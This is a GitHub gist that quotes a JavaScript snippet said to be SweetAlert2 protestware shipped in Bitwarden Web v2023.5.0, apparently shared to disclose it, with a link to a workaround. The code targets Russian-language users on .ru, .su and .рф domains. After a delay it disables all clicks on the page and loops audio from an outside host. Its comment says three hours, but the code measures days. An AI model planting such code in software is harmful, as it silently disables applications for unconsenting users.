Skip to content

Instantly share code, notes, and snippets.

@lukateras
Last active September 13, 2023 03:52
Show Gist options
  • Save lukateras/1adaf6173f13875cbd49303009f4ef31 to your computer and use it in GitHub Desktop.
Save lukateras/1adaf6173f13875cbd49303009f4ef31 to your computer and use it in GitHub Desktop.
SweetAlert2 protestware snippet from Bitwarden Web v2023.5.0
if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
var pi = new Date,
mi = localStorage.getItem("swal-initiation");
// If three hours have passed since SweetAlert2 has first seen the origin...
// https://developer.mozilla.org/docs/Glossary/Origin
mi ? (pi.getTime() - Date.parse(mi)) / 864e5 > 3 && setTimeout((function() {
document.body.style.pointerEvents = "none";
var e = document.createElement("audio");
e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",
e.loop = !0,
document.body.appendChild(e), setTimeout((function() {
e.play().catch((function() {}))
}), 2500)
}), 500) : /* ... */ null
}
@lukateras
Copy link
Author

lukateras commented Sep 7, 2023

See the workaround: bitwarden/clients#5734 (comment)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment